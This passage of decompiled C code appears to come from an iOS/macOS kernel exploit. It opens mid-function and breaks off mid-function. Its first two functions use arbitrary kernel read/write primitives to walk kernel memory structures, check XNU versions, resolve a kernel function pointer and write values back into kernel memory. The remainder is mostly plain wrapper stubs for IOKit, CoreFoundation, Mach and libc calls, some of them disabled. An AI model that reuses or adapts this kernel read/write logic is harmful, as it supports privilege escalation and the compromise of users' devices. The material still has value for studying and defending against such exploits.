  v14 = fd_open_dev_null(&v36);
  if ( (uint32_t)v14 )
    goto LABEL_56;
  if ( !kwritebuf_last_0((__int64)a1, a4, v37, a3) )
    goto LABEL_55;
  v22 = get_page_size();
  if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
  {
    if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v22), a1->stride168, &v34) )
      goto LABEL_50;
    if ( !validate_kaddr_range((__int64)a1, v34) )
    {
LABEL_49:
      v12 = 163878;
      goto LABEL_50;
    }
    while ( 1 )
    {
      while ( 1 )
      {
        v28 = get_page_size();
        if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v28), 4u, &v35) )
          goto LABEL_50;
        v34 = v35 | ((unsigned __int64)HIDWORD(v34) << 32);
        if ( !kreadbuf_last_0((__int64)a1, v34, 4u, &v31) )
          goto LABEL_50;
        if ( !v31 )
          break;
        if ( v31 > 8 )
        {
LABEL_51:
          v12 = 163857;
          goto LABEL_50;
        }
        if ( (unsigned int)get_page_size() == v28 )
        {
          v29 = v34 + (v31 - 1) * a1->stride168 + 8;
          goto LABEL_53;
        }
      }
      if ( a5 )
      {
        v25 = a5((__int64)a1, a6);
        if ( (uint32_t)v25 )
          break;
      }
    }
LABEL_48:
    v12 = v25;
LABEL_50:
    v14 = v12;
    goto LABEL_56;
  }
  if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v22) + 8, a1->stride168, &v34) )
    goto LABEL_50;
  if ( !validate_kaddr_range((__int64)a1, v34) )
    goto LABEL_49;
  v23 = get_page_size();
  if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v23), 4u, &v31) )
    goto LABEL_50;
  while ( 1 )
  {
    v24 = (unsigned __int16)v31;
    if ( !(uint16_t)v31 )
    {
      v11 = HIWORD(v31);
      if ( !HIWORD(v31) )
      {
        if ( a5 )
        {
          v25 = a5((__int64)a1, a6);
          if ( (uint32_t)v25 )
            goto LABEL_48;
        }
        goto LABEL_36;
      }
    }
    v26 = (unsigned __int16)v11;
    if ( (uint16_t)v31 )
      v26 = (unsigned __int16)v31;
    v31 = v26;
    if ( v26 - 1 > 7 )
      goto LABEL_51;
    if ( v24 )
      v27 = 8;
    else
      v27 = 16;
    if ( !kreadbuf_last_0((__int64)a1, v33 + v27 + (unsigned int)(a1->pageSizeOrSomething * v23), 4u, &v35) )
      goto LABEL_50;
    LODWORD(v34) = v35;
    if ( (unsigned int)get_page_size() == v23 )
      break;
LABEL_36:
    v23 = get_page_size();
    if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v23), 4u, &v31) )
      goto LABEL_50;
  }
  v29 = v34 + (v31 - 1) * a1->stride168;
LABEL_53:
  if ( kwritebuf_last_0((__int64)a1, v29, &v32, 4u) )
  {
    v14 = 0;
    goto LABEL_56;
  }
LABEL_55:
  v14 = 163856;
LABEL_56:
  if ( v36 != -1 )
    fd_close(v36);
  return v14;
}

//----- (0000000000040CBC) ----------------------------------------------------
__int64 __fastcall resolve_kfunc_via_page_dispatch(
        struct_krwCtx *a1,
        __int64 a2,
        unsigned int a3,
        __int64 *a4,
        __int64 (__fastcall *a5)(__int64, __int64),
        __int64 a6)
{
  __int64 v11; // x25
  __int64 v12; // x8
  __int64 v13; // x23
  int v14; // w0
  int v15; // w23
  unsigned int v16; // w28
  int v17; // w26
  unsigned int v18; // w8
  __int64 v19; // x0
  __int64 v20; // x27
  __int64 v21; // x10
  unsigned __int16 v22; // w8
  unsigned int v23; // w9
  unsigned int v25; // [xsp+Ch] [xbp-74h] BYREF
  __int64 v26; // [xsp+10h] [xbp-70h] BYREF
  __int64 v27; // [xsp+18h] [xbp-68h] BYREF
  unsigned __int64 v28; // [xsp+20h] [xbp-60h] BYREF
  unsigned int v29; // [xsp+28h] [xbp-58h] BYREF
  int v30; // [xsp+2Ch] [xbp-54h] BYREF

  v11 = 163855;
  v30 = -1;
  v28 = 0;
  v12 = 32;
  if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
    v12 = 40;
  if ( !kread_physmap_decorated(a1, v12 + a2, (unsigned __int64 *)&v27) )
  {
    v13 = 163855;
    goto LABEL_32;
  }
  if ( !validate_kaddr_range((__int64)a1, v27) )
  {
    v13 = 163878;
    goto LABEL_32;
  }
  v13 = fd_open_dev_null(&v30);
  if ( (uint32_t)v13 )
    goto LABEL_32;
  v14 = get_page_size();
  if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
  {
    v13 = 708616;
    goto LABEL_32;
  }
  if ( !kreadbuf_last_0((__int64)a1, v27 + (unsigned int)(a1->pageSizeOrSomething * v14) + 8, a1->stride168, &v28) )
    goto LABEL_31;
  if ( !validate_kaddr_range((__int64)a1, v28) )
  {
    v11 = 163878;
    goto LABEL_31;
  }
  v15 = get_page_size();
  if ( !kreadbuf_last_0((__int64)a1, v27 + (unsigned int)(a1->pageSizeOrSomething * v15), 4u, &v25) )
  {
LABEL_31:
    v13 = v11;
    goto LABEL_32;
  }
  while ( 1 )
  {
    v16 = v25;
    v17 = (unsigned __int16)v25;
    v18 = (unsigned __int16)v25;
    if ( !(uint16_t)v25 )
    {
      if ( v25 < 0x10000 )
      {
        if ( a5 )
        {
          v19 = a5((__int64)a1, a6);
          if ( (uint32_t)v19 )
          {
            v11 = v19;
            goto LABEL_31;
          }
        }
        goto LABEL_25;
      }
      v18 = HIWORD(v25);
    }
    v20 = v18 - 1LL;
    if ( (unsigned int)v20 > 7 )
    {
      v11 = 163857;
      goto LABEL_31;
    }
    v21 = 8;
    if ( !(uint16_t)v25 )
      v21 = 16;
    if ( !kreadbuf_last_0((__int64)a1, v27 + v21 + (unsigned int)(a1->pageSizeOrSomething * v15), 4u, &v29) )
      goto LABEL_31;
    v28 = v29 | ((unsigned __int64)HIDWORD(v28) << 32);
    v26 = 0;
    if ( !kreadbuf_last_0((__int64)a1, v28 + a1->stride168 * v20, a1->stride168, &v26) )
      goto LABEL_31;
    if ( validate_kaddr_range((__int64)a1, v26 & ~a1->pageMask) )
    {
      v26 = (v26 & ~a1->pageMask) + (a1->pageMask & v26) * a3;
      v22 = v16 - 1;
      v23 = v16 & 0xFFFF0000;
      if ( !v17 )
      {
        v22 = v16;
        v23 = (v16 & 0xFFFF0000) - 0x10000;
      }
      v25 = v23 & 0xFFFF0000 | v22;
      if ( (unsigned int)get_page_size() == v15 )
        break;
    }
LABEL_25:
    v15 = get_page_size();
    if ( !kreadbuf_last_0((__int64)a1, v27 + (unsigned int)(a1->pageSizeOrSomething * v15), 4u, &v25) )
      goto LABEL_31;
  }
  if ( !kwritebuf_last_0((__int64)a1, v27 + (unsigned int)(a1->pageSizeOrSomething * v15), &v25, 4u) )
  {
    v11 = 163856;
    goto LABEL_31;
  }
  v13 = 0;
  *a4 = v26;
LABEL_32:
  if ( v30 != -1 )
    fd_close(v30);
  return v13;
}

////----- (0000000000040FB0) ----------------------------------------------------
//__int64 __fastcall __mac_syscall(__int64 a1, __int64 a2, __int64 a3)
//{
//  return syscall(SYS___mac_syscall, a1, a2, a3);
//}
//
////----- (0000000000040FDC) ----------------------------------------------------
//__int64 __fastcall getattrlistbulk(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)
//{
//  return syscall(SYS_getattrlistbulk, a1, a2, a3, a4, a5);
//}
//
////----- (000000000004100C) ----------------------------------------------------
__int64 __fastcall fs_snapshot(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
  return syscall(SYS_fs_snapshot, a1, a2, a3, a4, a5, a6);
}

//----- (0000000000041040) ----------------------------------------------------
unsigned __int64 comm_page64_base_address()
{
//  uintptr_t capabilitiesStub = (uintptr_t)&real_get_cpu_capabilities;
//#if defined(__arm64e__)
//  __asm__ volatile("paciza %0" : "+r"(capabilitiesStub));
//  __asm__ volatile("xpaci %0" : "+r"(capabilitiesStub));
//#endif
//  return *(unsigned __int64 *)(capabilitiesStub + 12) & 0xFFFFFFFFFFFFFF00LL;
    return 0xFFFFFC000;
}
// 483C0: using guessed type __int64 j___get_cpu_capabilities(void);
#if 0
//----- (000000000004106C) ----------------------------------------------------
int __cdecl CC_SHA1_Final(unsigned __int8 *md, CC_SHA1_CTX *c)
{
  return _CC_SHA1_Final(md, c);
}

//----- (000000000004107C) ----------------------------------------------------
int __cdecl CC_SHA1_Init(CC_SHA1_CTX *c)
{
  return _CC_SHA1_Init(c);
}

//----- (000000000004108C) ----------------------------------------------------
int __cdecl CC_SHA1_Update(CC_SHA1_CTX *c, const void *data, CC_LONG len)
{
  return _CC_SHA1_Update(c, data, len);
}

//----- (000000000004109C) ----------------------------------------------------
int __cdecl CC_SHA256_Final(unsigned __int8 *md, CC_SHA256_CTX *c)
{
  return _CC_SHA256_Final(md, c);
}

//----- (00000000000410AC) ----------------------------------------------------
int __cdecl CC_SHA256_Init(CC_SHA256_CTX *c)
{
  return _CC_SHA256_Init(c);
}

//----- (00000000000410BC) ----------------------------------------------------
int __cdecl CC_SHA256_Update(CC_SHA256_CTX *c, const void *data, CC_LONG len)
{
  return _CC_SHA256_Update(c, data, len);
}

//----- (00000000000410CC) ----------------------------------------------------
int __cdecl CC_SHA384_Final(unsigned __int8 *md, CC_SHA512_CTX *c)
{
  return _CC_SHA384_Final(md, c);
}

//----- (00000000000410DC) ----------------------------------------------------
int __cdecl CC_SHA384_Init(CC_SHA512_CTX *c)
{
  return _CC_SHA384_Init(c);
}

//----- (00000000000410EC) ----------------------------------------------------
int __cdecl CC_SHA384_Update(CC_SHA512_CTX *c, const void *data, CC_LONG len)
{
  return _CC_SHA384_Update(c, data, len);
}

//----- (00000000000410FC) ----------------------------------------------------
void __cdecl CFArrayAppendValue(CFMutableArrayRef theArray, const void *value)
{
  _CFArrayAppendValue(theArray, value);
}

//----- (000000000004110C) ----------------------------------------------------
void __cdecl CFArrayApplyFunction(CFArrayRef theArray, CFRange range, CFArrayApplierFunction applier, void *context)
{
  _CFArrayApplyFunction(theArray, range, applier, context);
}

//----- (000000000004111C) ----------------------------------------------------
Boolean __cdecl CFArrayContainsValue(CFArrayRef theArray, CFRange range, const void *value)
{
  return _CFArrayContainsValue(theArray, range, value);
}

//----- (000000000004112C) ----------------------------------------------------
CFIndex __cdecl CFArrayGetCount(CFArrayRef theArray)
{
  return _CFArrayGetCount(theArray);
}

//----- (000000000004113C) ----------------------------------------------------
CFTypeID CFArrayGetTypeID(void)
{
  return _CFArrayGetTypeID();
}

//----- (000000000004114C) ----------------------------------------------------
CFTypeID CFBooleanGetTypeID(void)
{
  return _CFBooleanGetTypeID();
}

//----- (000000000004115C) ----------------------------------------------------
CFDataRef __cdecl CFDataCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length)
{
  return _CFDataCreate(allocator, bytes, length);
}

//----- (000000000004116C) ----------------------------------------------------
CFDataRef __cdecl CFDataCreateWithBytesNoCopy(
        CFAllocatorRef allocator,
        const UInt8 *bytes,
        CFIndex length,
        CFAllocatorRef bytesDeallocator)
{
  return _CFDataCreateWithBytesNoCopy(allocator, bytes, length, bytesDeallocator);
}

//----- (000000000004117C) ----------------------------------------------------
const UInt8 *__cdecl CFDataGetBytePtr(CFDataRef theData)
{
  return _CFDataGetBytePtr(theData);
}

//----- (000000000004118C) ----------------------------------------------------
CFIndex __cdecl CFDataGetLength(CFDataRef theData)
{
  return _CFDataGetLength(theData);
}

//----- (000000000004119C) ----------------------------------------------------
CFTypeID CFDataGetTypeID(void)
{
  return _CFDataGetTypeID();
}

//----- (00000000000411AC) ----------------------------------------------------
void __cdecl CFDictionaryAddValue(CFMutableDictionaryRef theDict, const void *key, const void *value)
{
  _CFDictionaryAddValue(theDict, key, value);
}

//----- (00000000000411BC) ----------------------------------------------------
void __cdecl CFDictionaryApplyFunction(CFDictionaryRef theDict, CFDictionaryApplierFunction applier, void *context)
{
  _CFDictionaryApplyFunction(theDict, applier, context);
}

//----- (00000000000411CC) ----------------------------------------------------
CFMutableDictionaryRef __cdecl CFDictionaryCreateMutable(
        CFAllocatorRef allocator,
        CFIndex capacity,
        const CFDictionaryKeyCallBacks *keyCallBacks,
        const CFDictionaryValueCallBacks *valueCallBacks)
{
  return _CFDictionaryCreateMutable(allocator, capacity, keyCallBacks, valueCallBacks);
}

//----- (00000000000411DC) ----------------------------------------------------
CFMutableDictionaryRef __cdecl CFDictionaryCreateMutableCopy(
        CFAllocatorRef allocator,
        CFIndex capacity,
        CFDictionaryRef theDict)
{
  return _CFDictionaryCreateMutableCopy(allocator, capacity, theDict);
}

//----- (00000000000411EC) ----------------------------------------------------
CFTypeID CFDictionaryGetTypeID(void)
{
  return _CFDictionaryGetTypeID();
}

//----- (00000000000411FC) ----------------------------------------------------
Boolean __cdecl CFDictionaryGetValueIfPresent(CFDictionaryRef theDict, const void *key, const void **value)
{
  return _CFDictionaryGetValueIfPresent(theDict, key, value);
}

//----- (000000000004120C) ----------------------------------------------------
void __cdecl CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value)
{
  _CFDictionarySetValue(theDict, key, value);
}

//----- (000000000004121C) ----------------------------------------------------
Boolean __cdecl CFEqual(CFTypeRef cf1, CFTypeRef cf2)
{
  return _CFEqual(cf1, cf2);
}

//----- (000000000004122C) ----------------------------------------------------
CFTypeID __cdecl CFGetTypeID(CFTypeRef cf)
{
  return _CFGetTypeID(cf);
}

//----- (000000000004123C) ----------------------------------------------------
CFNumberRef __cdecl CFNumberCreate(CFAllocatorRef allocator, CFNumberType theType, const void *valuePtr)
{
  return _CFNumberCreate(allocator, theType, valuePtr);
}

//----- (000000000004124C) ----------------------------------------------------
CFTypeID CFNumberGetTypeID(void)
{
  return _CFNumberGetTypeID();
}

//----- (000000000004125C) ----------------------------------------------------
Boolean __cdecl CFNumberGetValue(CFNumberRef number, CFNumberType theType, void *valuePtr)
{
  return _CFNumberGetValue(number, theType, valuePtr);
}

//----- (000000000004126C) ----------------------------------------------------
CFDataRef __cdecl CFPropertyListCreateData(
        CFAllocatorRef allocator,
        CFPropertyListRef propertyList,
        CFPropertyListFormat format,
        CFOptionFlags options,
        CFErrorRef *error)
{
  return _CFPropertyListCreateData(allocator, propertyList, format, options, error);
}

//----- (000000000004127C) ----------------------------------------------------
CFPropertyListRef __cdecl CFPropertyListCreateWithData(
        CFAllocatorRef allocator,
        CFDataRef data,
        CFOptionFlags options,
        CFPropertyListFormat *format,
        CFErrorRef *error)
{
  return _CFPropertyListCreateWithData(allocator, data, options, format, error);
}

//----- (000000000004128C) ----------------------------------------------------
CFPropertyListRef __cdecl CFPropertyListCreateWithStream(
        CFAllocatorRef allocator,
        CFReadStreamRef stream,
        CFIndex streamLength,
        CFOptionFlags options,
        CFPropertyListFormat *format,
        CFErrorRef *error)
{
  return _CFPropertyListCreateWithStream(allocator, stream, streamLength, options, format, error);
}

//----- (000000000004129C) ----------------------------------------------------
void __cdecl CFReadStreamClose(CFReadStreamRef stream)
{
  _CFReadStreamClose(stream);
}

//----- (00000000000412AC) ----------------------------------------------------
CFReadStreamRef __cdecl CFReadStreamCreateWithBytesNoCopy(
        CFAllocatorRef alloc,
        const UInt8 *bytes,
        CFIndex length,
        CFAllocatorRef bytesDeallocator)
{
  return _CFReadStreamCreateWithBytesNoCopy(alloc, bytes, length, bytesDeallocator);
}

//----- (00000000000412BC) ----------------------------------------------------
Boolean __cdecl CFReadStreamOpen(CFReadStreamRef stream)
{
  return _CFReadStreamOpen(stream);
}

//----- (00000000000412CC) ----------------------------------------------------
void __cdecl CFRelease(CFTypeRef cf)
{
  _CFRelease(cf);
}

//----- (00000000000412DC) ----------------------------------------------------
void __cdecl CFRunLoopAddSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode)
{
  _CFRunLoopAddSource(rl, source, mode);
}

//----- (00000000000412EC) ----------------------------------------------------
CFRunLoopRef CFRunLoopGetCurrent(void)
{
  return _CFRunLoopGetCurrent();
}

//----- (00000000000412FC) ----------------------------------------------------
void __cdecl CFRunLoopRemoveSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode)
{
  _CFRunLoopRemoveSource(rl, source, mode);
}

//----- (000000000004130C) ----------------------------------------------------
CFRunLoopRunResult __cdecl CFRunLoopRunInMode(
        CFRunLoopMode mode,
        CFTimeInterval seconds,
        Boolean returnAfterSourceHandled)
{
  return _CFRunLoopRunInMode(mode, seconds, returnAfterSourceHandled);
}

//----- (000000000004131C) ----------------------------------------------------
CFStringRef __cdecl CFStringCreateWithCString(CFAllocatorRef alloc, const char *cStr, CFStringEncoding encoding)
{
  return _CFStringCreateWithCString(alloc, cStr, encoding);
}

//----- (000000000004132C) ----------------------------------------------------
Boolean __cdecl CFStringGetCString(CFStringRef theString, char *buffer, CFIndex bufferSize, CFStringEncoding encoding)
{
  return _CFStringGetCString(theString, buffer, bufferSize, encoding);
}

//----- (000000000004133C) ----------------------------------------------------
CFStringEncoding CFStringGetSystemEncoding(void)
{
  return _CFStringGetSystemEncoding();
}

//----- (000000000004134C) ----------------------------------------------------
CFTypeID CFStringGetTypeID(void)
{
  return _CFStringGetTypeID();
}

//----- (000000000004135C) ----------------------------------------------------
Boolean __cdecl CFStringHasPrefix(CFStringRef theString, CFStringRef prefix)
{
  return _CFStringHasPrefix(theString, prefix);
}

//----- (000000000004136C) ----------------------------------------------------
CFDataRef __cdecl IOCFSerialize(CFTypeRef object, CFOptionFlags options)
{
  return _IOCFSerialize(object, options);
}

//----- (000000000004137C) ----------------------------------------------------
kern_return_t __cdecl IOConnectCallMethod(
        mach_port_t connection,
        uint32_t selector,
        const uint64_t *input,
        uint32_t inputCnt,
        const void *inputStruct,
        size_t inputStructCnt,
        uint64_t *output,
        uint32_t *outputCnt,
        void *outputStruct,
        size_t *outputStructCnt)
{
  return _IOConnectCallMethod(
           connection,
           selector,
           input,
           inputCnt,
           inputStruct,
           inputStructCnt,
           output,
           outputCnt,
           outputStruct,
           outputStructCnt);
}

//----- (000000000004138C) ----------------------------------------------------
kern_return_t __cdecl IOConnectCallScalarMethod(
        mach_port_t connection,
        uint32_t selector,
        const uint64_t *input,
        uint32_t inputCnt,
        uint64_t *output,
        uint32_t *outputCnt)
{
  return _IOConnectCallScalarMethod(connection, selector, input, inputCnt, output, outputCnt);
}

//----- (000000000004139C) ----------------------------------------------------
kern_return_t __cdecl IOConnectCallStructMethod(
        mach_port_t connection,
        uint32_t selector,
        const void *inputStruct,
        size_t inputStructCnt,
        void *outputStruct,
        size_t *outputStructCnt)
{
  return _IOConnectCallStructMethod(connection, selector, inputStruct, inputStructCnt, outputStruct, outputStructCnt);
}

//----- (00000000000413AC) ----------------------------------------------------
kern_return_t __cdecl IOConnectTrap4(
        io_connect_t connect,
        uint32_t index,
        uintptr_t p1,
        uintptr_t p2,
        uintptr_t p3,
        uintptr_t p4)
{
  return _IOConnectTrap4(connect, index, p1, p2, p3, p4);
}

//----- (00000000000413BC) ----------------------------------------------------
kern_return_t __cdecl IOConnectTrap6(
        io_connect_t connect,
        uint32_t index,
        uintptr_t p1,
        uintptr_t p2,
        uintptr_t p3,
        uintptr_t p4,
        uintptr_t p5,
        uintptr_t p6)
{
  return _IOConnectTrap6(connect, index, p1, p2, p3, p4, p5, p6);
}

//----- (00000000000413CC) ----------------------------------------------------
io_object_t __cdecl IOIteratorNext(io_iterator_t iterator)
{
  return _IOIteratorNext(iterator);
}

//----- (00000000000413DC) ----------------------------------------------------
IONotificationPortRef __cdecl IONotificationPortCreate(mach_port_t masterPort)
{
  return _IONotificationPortCreate(masterPort);
}

//----- (00000000000413EC) ----------------------------------------------------
void __cdecl IONotificationPortDestroy(IONotificationPortRef notify)
{
  _IONotificationPortDestroy(notify);
}

//----- (00000000000413FC) ----------------------------------------------------
CFRunLoopSourceRef __cdecl IONotificationPortGetRunLoopSource(IONotificationPortRef notify)
{
  return _IONotificationPortGetRunLoopSource(notify);
}

//----- (000000000004140C) ----------------------------------------------------
kern_return_t __cdecl IOObjectRelease(io_object_t object)
{
  return _IOObjectRelease(object);
}

//----- (000000000004141C) ----------------------------------------------------
kern_return_t __cdecl IORegistryEntryCreateCFProperties(
        io_registry_entry_t entry,
        CFMutableDictionaryRef *properties,
        CFAllocatorRef allocator,
        IOOptionBits options)
{
  return _IORegistryEntryCreateCFProperties(entry, properties, allocator, options);
}

//----- (000000000004142C) ----------------------------------------------------
CFTypeRef __cdecl IORegistryEntryCreateCFProperty(
        io_registry_entry_t entry,
        CFStringRef key,
        CFAllocatorRef allocator,
        IOOptionBits options)
{
  return _IORegistryEntryCreateCFProperty(entry, key, allocator, options);
}

//----- (000000000004143C) ----------------------------------------------------
io_registry_entry_t __cdecl IORegistryEntryFromPath(mach_port_t masterPort, const io_string_t path)
{
  return _IORegistryEntryFromPath(masterPort, path);
}

//----- (000000000004144C) ----------------------------------------------------
kern_return_t __cdecl IORegistryEntryGetChildIterator(
        io_registry_entry_t entry,
        const io_name_t plane,
        io_iterator_t *iterator)
{
  return _IORegistryEntryGetChildIterator(entry, plane, iterator);
}

//----- (000000000004145C) ----------------------------------------------------
CFTypeRef __cdecl IORegistryEntrySearchCFProperty(
        io_registry_entry_t entry,
        const io_name_t plane,
        CFStringRef key,
        CFAllocatorRef allocator,
        IOOptionBits options)
{
  return _IORegistryEntrySearchCFProperty(entry, plane, key, allocator, options);
}

//----- (000000000004146C) ----------------------------------------------------
kern_return_t __cdecl IOServiceAddMatchingNotification(
        IONotificationPortRef notifyPort,
        const io_name_t notificationType,
        CFDictionaryRef matching,
        IOServiceMatchingCallback callback,
        void *refCon,
        io_iterator_t *notification)
{
  return _IOServiceAddMatchingNotification(notifyPort, notificationType, matching, callback, refCon, notification);
}

//----- (000000000004147C) ----------------------------------------------------
kern_return_t __cdecl IOServiceClose(io_connect_t connect)
{
  return _IOServiceClose(connect);
}

//----- (000000000004148C) ----------------------------------------------------
io_service_t __cdecl IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching)
{
  return _IOServiceGetMatchingService(masterPort, matching);
}

//----- (000000000004149C) ----------------------------------------------------
CFMutableDictionaryRef __cdecl IOServiceMatching(const char *name)
{
  return _IOServiceMatching(name);
}

//----- (00000000000414AC) ----------------------------------------------------
kern_return_t __cdecl IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect)
{
  return _IOServiceOpen(service, owningTask, type, connect);
}

//----- (00000000000414BC) ----------------------------------------------------
kern_return_t __cdecl IOServiceWaitQuiet(io_service_t service, mach_timespec_t *waitTime)
{
  return _IOServiceWaitQuiet(service, waitTime);
}

//----- (00000000000414CC) ----------------------------------------------------
__int64 _CFProcessPath()
{
  return __CFProcessPath();
}
// 48238: using guessed type __int64 __CFProcessPath(void);

//----- (00000000000414DC) ----------------------------------------------------
__int64 _IOServiceSetAuthorizationID()
{
  return __IOServiceSetAuthorizationID();
}
// 48328: using guessed type __int64 __IOServiceSetAuthorizationID(void);

//----- (00000000000414EC) ----------------------------------------------------
int *__error(void)
{
  return ___error();
}

//----- (000000000004151C) ----------------------------------------------------
__int64 __semwait_signal()
{
  return ___semwait_signal();
}
// 48398: using guessed type __int64 ___semwait_signal(void);

//----- (000000000004154C) ----------------------------------------------------
int __ulock_wait(unsigned int operation, void *addr, unsigned __int64 value, unsigned int timeout)
{
  return ___ulock_wait(operation, addr, value, timeout);
}
// 483B0: using guessed type int ___ulock_wait(unsigned int, void *, unsigned __int64, unsigned int);

//----- (000000000004155C) ----------------------------------------------------
int __ulock_wake(unsigned int operation, void *addr, unsigned __int64 wake_value)
{
  return ___ulock_wake(operation, addr, wake_value);
}
// 483B8: using guessed type int ___ulock_wake(unsigned int, void *, unsigned __int64);

//----- (000000000004156C) ----------------------------------------------------
__int64 _get_cpu_capabilities()
{
  return j___get_cpu_capabilities();
}
// 483C0: using guessed type __int64 j___get_cpu_capabilities(void);

//----- (000000000004157C) ----------------------------------------------------
void *_os_alloc_once(void *slot, size_t size, void *init)
{
  return __os_alloc_once(slot, size, init);
}
// 483C8: using guessed type void *__os_alloc_once(void *slot, size_t size, void *init);

//----- (000000000004158C) ----------------------------------------------------
void __cdecl arc4random_buf(void *__buf, size_t __nbytes)
{
  _arc4random_buf(__buf, __nbytes);
}

//----- (000000000004159C) ----------------------------------------------------
void __cdecl bzero(void *a1, size_t a2)
{
  _bzero(a1, a2);
}

//----- (00000000000415AC) ----------------------------------------------------
void *__cdecl calloc(size_t __count, size_t __size)
{
  return _calloc(__count, __size);
}

//----- (00000000000415BC) ----------------------------------------------------
int __cdecl chown(const char *a1, uid_t a2, gid_t a3)
{
  return _chown(a1, a2, a3);
}

//----- (00000000000415CC) ----------------------------------------------------
int __cdecl close(int a1)
{
  return _close(a1);
}

//----- (00000000000415DC) ----------------------------------------------------
int __cdecl connect(int a1, const sockaddr *a2, socklen_t a3)
{
  return _connect(a1, a2, a3);
}

//----- (00000000000415EC) ----------------------------------------------------
int __cdecl dlclose(void *__handle)
{
  return _dlclose(__handle);
}

//----- (00000000000415FC) ----------------------------------------------------
void *__cdecl dlopen(const char *__path, int __mode)
{
  return _dlopen(__path, __mode);
}

//----- (000000000004160C) ----------------------------------------------------
void *__cdecl dlsym(void *__handle, const char *__symbol)
{
  return _dlsym(__handle, __symbol);
}

//----- (000000000004161C) ----------------------------------------------------
int fcntl(int a1, int a2, ...)
{
  va_list ap;
  int result;

  switch ( a2 )
  {
    case 2:
    case 4:
    case 5:
    case 6:
    case 50:
    case 59:
    case 61:
    case 73:
      va_start(ap, a2);
      result = _fcntl(a1, a2, va_arg(ap, long));
      va_end(ap);
      return result;
    default:
      return _fcntl(a1, a2);
  }
}

//----- (000000000004162C) ----------------------------------------------------
int __cdecl ffsctl(int a1, unsigned __int64 a2, void *a3, unsigned int a4)
{
  return _ffsctl(a1, a2, a3, a4);
}

//----- (000000000004163C) ----------------------------------------------------
int fileport_makefd(mach_port_t port)
{
  return _fileport_makefd(port);
}
// 48428: using guessed type int _fileport_makefd(mach_port_t port);

//----- (000000000004164C) ----------------------------------------------------
// local variable allocation has failed, the output may be wrong!
__int64 __fastcall fileport_makeport(int a1, mach_port_t *a2)
{
  return _fileport_makeport(*(uint64_t *)&a1, a2);
}
// 4164C: variables would overlap: w0.4 and x0.8
// 48430: using guessed type __int64 __fastcall _fileport_makeport(uint64_t, uint64_t);

//----- (000000000004165C) ----------------------------------------------------
void __cdecl free(void *a1)
{
  _free(a1);
}

//----- (000000000004166C) ----------------------------------------------------
int __cdecl fstat(int a1, stat *a2)
{
  return _fstat(a1, a2);
}

//----- (000000000004167C) ----------------------------------------------------
int __cdecl getattrlist(const char *a1, void *a2, void *a3, size_t a4, unsigned int a5)
{
  return _getattrlist(a1, a2, a3, a4, a5);
}

//----- (000000000004168C) ----------------------------------------------------
int __cdecl getmntinfo(struct statfs **a1, int a2)
{
  return _getmntinfo(a1, a2);
}

//----- (000000000004169C) ----------------------------------------------------
pid_t getpid(void)
{
  return _getpid();
}

//----- (00000000000416AC) ----------------------------------------------------
pid_t getppid(void)
{
  return _getppid();
}

//----- (00000000000416BC) ----------------------------------------------------
uid_t getuid(void)
{
  return _getuid();
}

//----- (00000000000416CC) ----------------------------------------------------
kern_return_t __cdecl host_create_mach_voucher(
        host_t host,
        mach_voucher_attr_raw_recipe_array_t recipes,
        mach_msg_type_number_t recipesCnt,
        ipc_voucher_t *voucher)
{
  return _host_create_mach_voucher(host, recipes, recipesCnt, voucher);
}

//----- (00000000000416DC) ----------------------------------------------------
kern_return_t __cdecl host_get_io_master(host_t host, io_master_t *io_master)
{
  return _host_get_io_master(host, io_master);
}

//----- (00000000000416EC) ----------------------------------------------------
kern_return_t __cdecl host_get_special_port(host_priv_t host_priv, int node, int which, mach_port_t *port)
{
  return _host_get_special_port(host_priv, node, which, port);
}

//----- (00000000000416FC) ----------------------------------------------------
kern_return_t __cdecl host_kernel_version(host_t host, kernel_version_t kernel_version)
{
  return _host_kernel_version(host, kernel_version);
}

//----- (000000000004170C) ----------------------------------------------------
kern_return_t __cdecl host_page_size(host_t a1, vm_size_t *a2)
{
  return _host_page_size(a1, a2);
}

//----- (000000000004171C) ----------------------------------------------------
kern_return_t __cdecl host_processors(
        host_priv_t host_priv,
        processor_array_t *out_processor_list,
        mach_msg_type_number_t *out_processor_listCnt)
{
  return _host_processors(host_priv, out_processor_list, out_processor_listCnt);
}

//----- (000000000004172C) ----------------------------------------------------
kern_return_t __cdecl host_security_set_task_token(
        host_security_t host_security,
        task_t target_task,
        security_token_t sec_token,
        audit_token_t *audit_token,
        host_t host)
{
  return _host_security_set_task_token(host_security, target_task, sec_token, audit_token, host);
}

//----- (000000000004173C) ----------------------------------------------------
int ioctl(int a1, unsigned __int64 a2, ...)
{
  va_list ap;
  void *arg;

  va_start(ap, a2);
  arg = va_arg(ap, void *);
  va_end(ap);
  return _ioctl(a1, a2, arg);
}

//----- (000000000004174C) ----------------------------------------------------
int __cdecl lstat(const char *a1, stat *a2)
{
  return _lstat(a1, a2);
}

//----- (000000000004175C) ----------------------------------------------------
uint64_t mach_absolute_time(void)
{
  return _mach_absolute_time();
}

//----- (000000000004176C) ----------------------------------------------------
mach_port_t mach_host_self(void)
{
  return _mach_host_self();
}

//----- (000000000004177C) ----------------------------------------------------
kern_return_t __cdecl mach_make_memory_entry(
        vm_map_t target_task,
        vm_size_t *size,
        vm_offset_t offset,
        vm_prot_t permission,
        mem_entry_name_port_t *object_handle,
        mem_entry_name_port_t parent_entry)
{
